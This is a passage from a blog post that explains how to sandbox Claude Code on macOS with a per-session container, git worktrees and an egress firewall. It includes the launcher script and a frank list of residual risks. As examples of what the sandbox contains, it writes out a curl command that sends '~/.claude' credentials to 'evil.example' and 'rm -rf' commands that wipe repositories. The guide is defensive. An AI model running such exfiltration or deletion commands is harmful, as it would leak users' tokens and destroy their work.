class=\"token variable\">$(</span><span class=\"token function\">id</span> -g<span class=\"token variable\">)</span></span>\"</span>\n\n<span class=\"token comment\"># --- Rebuild image if host uid drifted ----------------------------------</span>\n<span class=\"token assign-left variable\">IMAGE_UID</span><span class=\"token operator\">=</span><span class=\"token string\">\"\"</span>\n<span class=\"token keyword\">if</span> docker image inspect <span class=\"token string\">\"<span class=\"token variable\">${IMAGE}</span>\"</span> <span class=\"token operator\">></span>/dev/null <span class=\"token operator\"><span class=\"token file-descriptor important\">2</span>></span><span class=\"token file-descriptor important\">&amp;1</span><span class=\"token punctuation\">;</span> <span class=\"token keyword\">then</span>\n    <span class=\"token assign-left variable\">IMAGE_UID</span><span class=\"token operator\">=</span><span class=\"token string\">\"<span class=\"token variable\"><span class=\"token variable\">$(</span>docker image inspect <span class=\"token punctuation\">\\</span>\n        --format <span class=\"token string\">'{{ range .Config.Env }}{{ println . }}{{ end }}'</span> <span class=\"token string\">\"<span class=\"token variable\">${IMAGE}</span>\"</span> <span class=\"token punctuation\">\\</span>\n      <span class=\"token operator\">|</span> <span class=\"token function\">awk</span> -F<span class=\"token operator\">=</span> <span class=\"token string\">'<span class=\"token variable\">$1</span>==\"CLAUDE_SANDBOX_UID\"{print <span class=\"token variable\">$2</span>}'</span><span class=\"token variable\">)</span></span>\"</span>\n<span class=\"token keyword\">fi</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span> -z <span class=\"token string\">\"<span class=\"token variable\">${IMAGE_UID}</span>\"</span> <span class=\"token operator\">||</span> <span class=\"token string\">\"<span class=\"token variable\">${IMAGE_UID}</span>\"</span> <span class=\"token operator\">!=</span> <span class=\"token string\">\"<span class=\"token variable\">${HOST_UID}</span>\"</span> <span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span> <span class=\"token keyword\">then</span>\n    docker build <span class=\"token punctuation\">\\</span>\n        --build-arg <span class=\"token assign-left variable\">HOST_UID</span><span class=\"token operator\">=</span><span class=\"token string\">\"<span class=\"token variable\">${HOST_UID}</span>\"</span> <span class=\"token punctuation\">\\</span>\n        --build-arg <span class=\"token assign-left variable\">HOST_GID</span><span class=\"token operator\">=</span><span class=\"token string\">\"<span class=\"token variable\">${HOST_GID}</span>\"</span> <span class=\"token punctuation\">\\</span>\n        -t <span class=\"token string\">\"<span class=\"token variable\">${IMAGE}</span>\"</span> <span class=\"token string\">\"<span class=\"token variable\">${SANDBOX_DIR}</span>\"</span>\n<span class=\"token keyword\">fi</span>\n\n<span class=\"token comment\"># --- Per-session worktrees ---------------------------------------------</span>\n<span class=\"token assign-left variable\">SESSION_ID</span><span class=\"token operator\">=</span><span class=\"token string\">\"<span class=\"token variable\"><span class=\"token variable\">$(</span><span class=\"token function\">date</span> -u +%Y%m%dT%H%M%SZ<span class=\"token variable\">)</span></span>-<span class=\"token variable\"><span class=\"token variable\">$(</span>openssl rand -hex <span class=\"token number\">3</span><span class=\"token variable\">)</span></span>\"</span>\n<span class=\"token assign-left variable\">SESSION_ROOT</span><span class=\"token operator\">=</span><span class=\"token string\">\"<span class=\"token variable\">${SESSIONS_ROOT}</span>/<span class=\"token variable\">${SESSION_ID}</span>\"</span>\n<span class=\"token function\">mkdir</span> -p <span class=\"token string\">\"<span class=\"token variable\">${SESSION_ROOT}</span>\"</span>\n<span class=\"token keyword\">for</span> <span class=\"token for-or-select variable\">repo</span> <span class=\"token keyword\">in</span> repo-a repo-b<span class=\"token punctuation\">;</span> <span class=\"token keyword\">do</span>\n    <span class=\"token function\">git</span> -C <span class=\"token string\">\"<span class=\"token variable\">${MASTER_DIR}</span>/<span class=\"token variable\">${repo}</span>\"</span> worktree <span class=\"token function\">add</span> --detach <span class=\"token punctuation\">\\</span>\n        <span class=\"token string\">\"<span class=\"token variable\">${SESSION_ROOT}</span>/<span class=\"token variable\">${repo}</span>\"</span> HEAD <span class=\"token operator\">></span>/dev/null\n<span class=\"token keyword\">done</span>\n\n<span class=\"token assign-left variable\">CONTAINER_NAME</span><span class=\"token operator\">=</span><span class=\"token string\">\"claude-sandbox-<span class=\"token variable\">${SESSION_ID}</span>\"</span>\n\n<span class=\"token function-name function\">cleanup</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    docker container inspect <span class=\"token string\">\"<span class=\"token variable\">${CONTAINER_NAME}</span>\"</span> <span class=\"token operator\">></span>/dev/null <span class=\"token operator\"><span class=\"token file-descriptor important\">2</span>></span><span class=\"token file-descriptor important\">&amp;1</span> <span class=\"token punctuation\">\\</span>\n        <span class=\"token operator\">&amp;&amp;</span> docker <span class=\"token function\">kill</span> <span class=\"token string\">\"<span class=\"token variable\">${CONTAINER_NAME}</span>\"</span> <span class=\"token operator\">></span>/dev/null <span class=\"token operator\"><span class=\"token file-descriptor important\">2</span>></span><span class=\"token file-descriptor important\">&amp;1</span> <span class=\"token operator\">||</span> <span class=\"token boolean\">true</span>\n    <span class=\"token keyword\">for</span> <span class=\"token for-or-select variable\">repo</span> <span class=\"token keyword\">in</span> repo-a repo-b<span class=\"token punctuation\">;</span> <span class=\"token keyword\">do</span>\n        <span class=\"token assign-left variable\">wt</span><span class=\"token operator\">=</span><span class=\"token string\">\"<span class=\"token variable\">${SESSION_ROOT}</span>/<span class=\"token variable\">${repo}</span>\"</span>\n        <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span> -d <span class=\"token string\">\"<span class=\"token variable\">${wt}</span>\"</span> <span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">||</span> <span class=\"token builtin class-name\">continue</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span> -z <span class=\"token string\">\"<span class=\"token variable\"><span class=\"token variable\">$(</span><span class=\"token function\">git</span> -C <span class=\"token string\">\"<span class=\"token variable\">${wt}</span>\"</span> status --porcelain <span class=\"token operator\"><span class=\"token file-descriptor important\">2</span>></span>/dev/null <span class=\"token operator\">||</span> <span class=\"token builtin class-name\">echo</span> dirty<span class=\"token variable\">)</span></span>\"</span> <span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span> <span class=\"token keyword\">then</span>\n            <span class=\"token function\">git</span> -C <span class=\"token string\">\"<span class=\"token variable\">${MASTER_DIR}</span>/<span class=\"token variable\">${repo}</span>\"</span> worktree remove --force <span class=\"token string\">\"<span class=\"token variable\">${wt}</span>\"</span> <span class=\"token punctuation\">\\</span>\n                <span class=\"token operator\">></span>/dev/null <span class=\"token operator\"><span class=\"token file-descriptor important\">2</span>></span><span class=\"token file-descriptor important\">&amp;1</span> <span class=\"token operator\">||</span> <span class=\"token boolean\">true</span>\n        <span class=\"token keyword\">else</span>\n            <span class=\"token builtin class-name\">printf</span> <span class=\"token string\">'→ Kept %s (uncommitted — recover or rm manually)<span class=\"token entity\" title=\"\\n\">\\n</span>'</span> <span class=\"token string\">\"<span class=\"token variable\">${wt}</span>\"</span>\n        <span class=\"token keyword\">fi</span>\n    <span class=\"token keyword\">done</span>\n    <span class=\"token function\">rmdir</span> <span class=\"token string\">\"<span class=\"token variable\">${SESSION_ROOT}</span>\"</span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2</span>></span>/dev/null <span class=\"token operator\">||</span> <span class=\"token boolean\">true</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token builtin class-name\">trap</span> cleanup EXIT\n\n<span class=\"token comment\"># --- Run -----------------------------------------------------------------</span>\ndocker run -d --rm <span class=\"token punctuation\">\\</span>\n    --name <span class=\"token string\">\"<span class=\"token variable\">${CONTAINER_NAME}</span>\"</span> --hostname <span class=\"token string\">\"claude-sandbox\"</span> <span class=\"token punctuation\">\\</span>\n    --cap-drop ALL --cap-add NET_ADMIN --cap-add NET_RAW <span class=\"token punctuation\">\\</span>\n    --security-opt no-new-privileges <span class=\"token punctuation\">\\</span>\n    --memory 4g --cpus <span class=\"token number\">4</span> <span class=\"token punctuation\">\\</span>\n    <span class=\"token variable\">${GH_TOKEN<span class=\"token operator\">:+</span>-e \"GH_TOKEN=${GH_TOKEN}</span>\"<span class=\"token punctuation\">}</span> <span class=\"token punctuation\">\\</span>\n    -v <span class=\"token string\">\"<span class=\"token variable\">${SESSION_ROOT}</span>/repo-a:/workspace/repo-a\"</span> <span class=\"token punctuation\">\\</span>\n    -v <span class=\"token string\">\"<span class=\"token variable\">${SESSION_ROOT}</span>/repo-b:/workspace/repo-b\"</span> <span class=\"token punctuation\">\\</span>\n    -v <span class=\"token string\">\"<span class=\"token variable\">${MASTER_DIR}</span>/repo-a/.git:<span class=\"token variable\">${MASTER_DIR}</span>/repo-a/.git\"</span> <span class=\"token punctuation\">\\</span>\n    -v <span class=\"token string\">\"<span class=\"token variable\">${MASTER_DIR}</span>/repo-b/.git:<span class=\"token variable\">${MASTER_DIR}</span>/repo-b/.git\"</span> <span class=\"token punctuation\">\\</span>\n    -v <span class=\"token string\">\"<span class=\"token variable\">${<span class=\"token environment constant\">HOME</span>}</span>/.config/gh:/home/agent/.config/gh\"</span> <span class=\"token punctuation\">\\</span>\n    -v <span class=\"token string\">\"<span class=\"token variable\">${<span class=\"token environment constant\">HOME</span>}</span>/.gitconfig:/home/agent/.gitconfig:ro\"</span> <span class=\"token punctuation\">\\</span>\n    -v <span class=\"token string\">\"<span class=\"token variable\">${<span class=\"token environment constant\">HOME</span>}</span>/.claude:/home/agent/.claude\"</span> <span class=\"token punctuation\">\\</span>\n    -v <span class=\"token string\">\"<span class=\"token variable\">${<span class=\"token environment constant\">HOME</span>}</span>/.claude.json:/home/agent/.claude.json\"</span> <span class=\"token punctuation\">\\</span>\n    -w /workspace <span class=\"token string\">\"<span class=\"token variable\">${IMAGE}</span>\"</span> <span class=\"token function\">sleep</span> infinity <span class=\"token operator\">></span>/dev/null\n\ndocker <span class=\"token builtin class-name\">exec</span> -u <span class=\"token number\">0</span> <span class=\"token string\">\"<span class=\"token variable\">${CONTAINER_NAME}</span>\"</span> /usr/local/bin/init-firewall.sh <span class=\"token punctuation\">\\</span>\n    <span class=\"token operator\">||</span> die <span class=\"token string\">\"firewall init failed — see 'docker logs <span class=\"token variable\">${CONTAINER_NAME}</span>'\"</span>\n\n<span class=\"token comment\"># Don't `exec` here — that skips the EXIT trap and leaks containers/worktrees.</span>\n<span class=\"token assign-left variable\">docker_exec_flags</span><span class=\"token operator\">=</span><span class=\"token punctuation\">(</span>-i<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span> -t <span class=\"token number\">0</span> <span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">&amp;&amp;</span> <span class=\"token assign-left variable\">docker_exec_flags</span><span class=\"token operator\">+=</span><span class=\"token punctuation\">(</span>-t<span class=\"token punctuation\">)</span>\ndocker <span class=\"token builtin class-name\">exec</span> <span class=\"token string\">\"<span class=\"token variable\">${docker_exec_flags<span class=\"token punctuation\">[</span>@<span class=\"token punctuation\">]</span>}</span>\"</span> -w /workspace <span class=\"token string\">\"<span class=\"token variable\">${CONTAINER_NAME}</span>\"</span> <span class=\"token string\">\"<span class=\"token variable\">${@<span class=\"token operator\">:-</span>claude}</span>\"</span></code></pre></div>\n<p>A few things that look like minor stylistic choices but each cost an hour of debugging:</p>\n<ul>\n<li><strong>Don’t <code class=\"language-text\">exec docker exec ...</code> at the end.</strong> <code class=\"language-text\">exec</code> replaces the launcher process, so the <code class=\"language-text\">EXIT</code> trap never fires, and you accumulate orphan containers and stale worktrees on every run. Run the docker exec inline so the trap can clean up.</li>\n<li><strong><code class=\"language-text\">-t</code> is conditional on <code class=\"language-text\">[[ -t 0 ]]</code>.</strong> Without that guard, calling the launcher from a non-TTY context (CI, smoke tests, <code class=\"language-text\">bash -c</code> from another script) errors with “cannot attach stdin to a TTY-enabled container.”</li>\n<li><strong>The parent <code class=\"language-text\">.git</code> is mounted writable.</strong> That’s the deliberate trade-off for <code class=\"language-text\">git commit</code> to work inside the worktree — git writes objects to the parent <code class=\"language-text\">.git</code>, not the worktree’s own <code class=\"language-text\">.git</code> file pointer. Tightening this further is a follow-up (e.g., a git proxy or a per-session bare clone).</li>\n</ul>\n<h2 id=\"6-the-claudejson-gotcha\" style=\"position:relative;\"><a href=\"#6-the-claudejson-gotcha\" aria-label=\"6 the claudejson gotcha permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>6. The <code class=\"language-text\">~/.claude.json</code> gotcha</h2>\n<p>It’s tempting to mount only <code class=\"language-text\">~/.claude</code> and call it done — that’s where the Claude.ai OAuth token (<code class=\"language-text\">~/.claude/.credentials.json</code>) lives, after all. But ephemeral sessions still re-prompt for first-run setup. A <code class=\"language-text\">claude config get</code> inside the container makes the cause obvious:</p>\n<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">Claude configuration file not found at: /home/agent/.claude.json\nA backup file exists at: /home/agent/.claude/backups/.claude.json.backup...</code></pre></div>\n<p>Claude Code splits its state across two paths:</p>\n<ul>\n<li><code class=\"language-text\">~/.claude/</code> — credentials, agent memory, session state, plugins.</li>\n<li><code class=\"language-text\">~/.claude.json</code> — a <em>sibling file</em> (not inside <code class=\"language-text\">~/.claude/</code>) holding the main config: project history, settings, and the “first-run completed” marker.</li>\n</ul>\n<p>Mounting only the directory leaves the sibling file behind. Without it, Claude treats every container as a fresh install and walks you through onboarding again. The fix is one extra <code class=\"language-text\">-v</code> plus a <code class=\"language-text\">touch</code> in the preflight (so docker doesn’t auto-create a directory if the host file doesn’t exist yet):</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span> -e <span class=\"token string\">\"<span class=\"token variable\">${<span class=\"token environment constant\">HOME</span>}</span>/.claude.json\"</span> <span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">||</span> <span class=\"token function\">touch</span> <span class=\"token string\">\"<span class=\"token variable\">${<span class=\"token environment constant\">HOME</span>}</span>/.claude.json\"</span>\n…\n-v <span class=\"token string\">\"<span class=\"token variable\">${<span class=\"token environment constant\">HOME</span>}</span>/.claude.json:/home/agent/.claude.json\"</span> <span class=\"token punctuation\">\\</span></code></pre></div>\n<p>Both files are mounted writable, so config and project history written from inside the sandbox propagate back to the host. That also means concurrent host + sandbox sessions both write to the same file — a real race window if you regularly run <code class=\"language-text\">claude</code> in two places at once. For my workflow (one sandbox at a time, host Claude not running) it hasn’t bitten; YMMV.</p>\n<h2 id=\"7-first-run-and-lifecycle\" style=\"position:relative;\"><a href=\"#7-first-run-and-lifecycle\" aria-label=\"7 first run and lifecycle permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>7. First run and lifecycle</h2>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token function\">chmod</span> +x sandbox/run-agent.sh sandbox/init-firewall.sh\n./sandbox/run-agent.sh</code></pre></div>\n<p>On first launch, the launcher builds the image (~5 min), provisions the worktrees, starts the container, installs the firewall (<code class=\"language-text\">[firewall] ready: 63 IPs allowed across 24 hosts</code>), and drops you into Claude Code. Because the host’s <code class=\"language-text\">~/.claude.json</code> already exists (from your normal host Claude usage), there’s no re-onboarding; OAuth comes along for the ride via <code class=\"language-text\">~/.claude/.credentials.json</code>.</p>\n<p>A few commands you’ll end up using:</p>\n<table>\n<thead>\n<tr>\n<th>Command</th>\n<th>Effect</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code class=\"language-text\">./sandbox/run-agent.sh</code></td>\n<td>new session: worktree + container + firewall + claude</td>\n</tr>\n<tr>\n<td><code class=\"language-text\">./sandbox/run-agent.sh bash</code></td>\n<td>drop into a shell instead of <code class=\"language-text\">claude</code></td>\n</tr>\n<tr>\n<td>Exit <code class=\"language-text\">claude</code> (or Ctrl-D)</td>\n<td>container removed; clean worktrees pruned, dirty ones kept</td>\n</tr>\n<tr>\n<td><code class=\"language-text\">colima stop</code> / reboot</td>\n<td>nothing to recover — sessions were ephemeral anyway</td>\n</tr>\n</tbody>\n</table>\n<h2 id=\"what-the-sandbox-buys-you\" style=\"position:relative;\"><a href=\"#what-the-sandbox-buys-you\" aria-label=\"what the sandbox buys you permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>What the sandbox buys you</h2>\n<ul>\n<li><code class=\"language-text\">rm -rf /workspace/repo-a/*</code> → wipes the <strong>session worktree only</strong>. The host working tree at <code class=\"language-text\">~/code/repo-a/</code> is untouched.</li>\n<li><code class=\"language-text\">curl https://evil.example/exfil -d @~/.claude/...</code> → blocked by the egress firewall. Only hosts in <code class=\"language-text\">ALLOWED_DOMAINS</code> are reachable.</li>\n<li><code class=\"language-text\">bash /tmp/random-thing.sh</code> → runs in container only; container FS wiped on exit.</li>\n<li><code class=\"language-text\">gh pr create ...</code> → still hits real GitHub (the allowlist is open enough for legitimate work).</li>\n</ul>\n<p>What’s <em>still not</em> isolated: anything you bind-mount is writable from inside, the parent <code class=\"language-text\">.git</code> is mounted writable so commits work (so <code class=\"language-text\">rm -rf &lt;repo&gt;/.git</code> would still nuke the host <code class=\"language-text\">.git</code>), and the allowlist is open enough to reach package registries — supply-chain risk is unchanged. This is a blast-radius reduction tool, not a containment tool for actively malicious code.</p>\n<h2 id=\"possible-risks\" style=\"position:relative;\"><a href=\"#possible-risks\" aria-label=\"possible risks permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Possible risks</h2>\n<p>The sandbox is a meaningful step up from “wide allowlist on bare macOS,” but it is <em>not</em> a full security boundary. Go in knowing what it doesn’t protect against:</p>\n<ul>\n<li><strong>The parent <code class=\"language-text\">.git</code> is still writable.</strong> The worktree shields the <em>working tree</em> from <code class=\"language-text\">rm -rf</code>, but a deliberate <code class=\"language-text\">rm -rf &lt;repo&gt;/.git</code> inside the container would nuke the host <code class=\"language-text\">.git</code>. The mount is required for <code class=\"language-text\">git commit</code> to work; tightening this further is a follow-up (e.g., a git proxy, or per-session bare clones with a push-back hook).</li>\n<li><strong>GitHub token scope is the real blast radius.</strong> If the agent goes wrong, it can do anything your <code class=\"language-text\">GH_TOKEN</code> can do — open/close PRs, push, delete branches, read private code. <strong>Use a fine-grained PAT scoped to only the repos you’re working on</strong>, never a classic token or a PAT with org-wide access. Rotate it on any suspected misbehavior (<code class=\"language-text\">security add-generic-password -U ...</code>).</li>\n<li><strong>The egress allowlist is open enough to do real work.</strong> GitHub, GitLab, npm, the Go module proxy, PyPI, Anthropic, and any internal APIs you add are all reachable. A prompt-injected agent can still publish to any of those, and a compromised package fetched from npm can still read <code class=\"language-text\">/workspace</code> and your <code class=\"language-text\">GH_TOKEN</code>. The firewall stops <em>novel</em> outbound destinations (pastebins, attacker C2, telemetry), not abuse of the allowlisted ones.</li>\n<li><strong>Supply-chain risk is unchanged.</strong> <code class=\"language-text\">npm install</code>, <code class=\"language-text\">go get</code>, <code class=\"language-text\">pip install</code> inside the container still pull code from public registries and execute install scripts with the <code class=\"language-text\">agent</code> user’s privileges. The sandbox doesn’t vet dependencies; it just limits them to the container FS (but see: parent <code class=\"language-text\">.git</code> + token above).</li>\n<li><strong><code class=\"language-text\">~/.claude</code> and <code class=\"language-text\">~/.claude.json</code> are mounted writable.</strong> The container can read OAuth tokens, agent memory, project history, and settings — and write to all of them, propagating back to the host. If you share <code class=\"language-text\">~/.claude</code> between this sandbox and other tooling, assume the container can read all of it. Keep it scoped to Claude Code only.</li>\n<li><strong><code class=\"language-text\">--cap-drop ALL</code> is not a kernel-level guarantee.</strong> Container escapes via kernel CVEs are rare but real. The two added caps (<code class=\"language-text\">NET_ADMIN</code>, <code class=\"language-text\">NET_RAW</code>) widen the kernel surface marginally so iptables can run. Keep Colima’s VM updated (<code class=\"language-text\">colima stop &amp;&amp; brew upgrade colima &amp;&amp; colima start</code>), and don’t treat the sandbox as strong enough to run genuinely untrusted binaries.</li>\n<li><strong>No audit trail.</strong> There’s no recording of what the agent ran inside the container. If something goes wrong, you get <code class=\"language-text\">git reflog</code> and your shell’s scrollback, nothing more. If you need auditability, wrap <code class=\"language-text\">run-agent.sh</code> with <code class=\"language-text\">script(1)</code> or pipe to a logfile.</li>\n<li><strong>Concurrent host + sandbox writes to <code class=\"language-text\">~/.claude.json</code>.</strong> Both share the same file via bind mount; if you regularly run host Claude in parallel with a sandbox session, there’s a real race. For most single-session workflows this hasn’t bitten me, but it’s a sharp edge worth knowing about.</li>\n<li><strong><code class=\"language-text\">commit.gpgsign = true</code> on host breaks commits inside.</strong> No GPG key in the container → commits fail. Either set <code class=\"language-text\">commit.gpgsign = false</code> locally or pass <code class=\"language-text\">-c commit.gpgsign=false</code> per-commit — but be aware you’re skipping a check your org may rely on.</li>\n</ul>\n<p>Rule of thumb: treat the sandbox like a junior dev with your GitHub credentials and <code class=\"language-text\">sudo</code> on a VM. You wouldn’t let that person run arbitrary code without supervision, and you wouldn’t give them production tokens. Same discipline here — the firewall and worktree just mean the dev’s mistakes don’t propagate as fast or as far.</p>\n<p>Quote from the book I am reading.</p>\n<blockquote>\n<p><em>The first rule of any technology used in a business is that automation applied to an efficient operation will magnify the efficiency. The second is that automation applied to an inefficient operation will magnify the inefficiency.</em></p>\n<p>— Bill Gates, Business @ the Speed of Thought</p>\n</blockquote>","fields":{"slug":"/posts/claude-code-sandbox","tagSlugs":["/tag/claude-code/","/tag/docker/","/tag/sandbox/"]},"frontmatter":{"date":"2026-04-17T22:12:03.284Z","description":"A wide allowlist is only safe when the blast radius is small. Running Claude Code inside a per-session Colima container with a git worktree and an iptables egress allowlist keeps rm, bash, and gh pr create from ever touching host macOS.","tags":["claude-code","docker","sandbox"],"title":"Sandboxing Claude Code in a Long-Lived Container in MacOS","socialImage":"/media/claude-sandbox.jpg"}}},"pageContext":{"slug":"/posts/claude-code-sandbox"}}}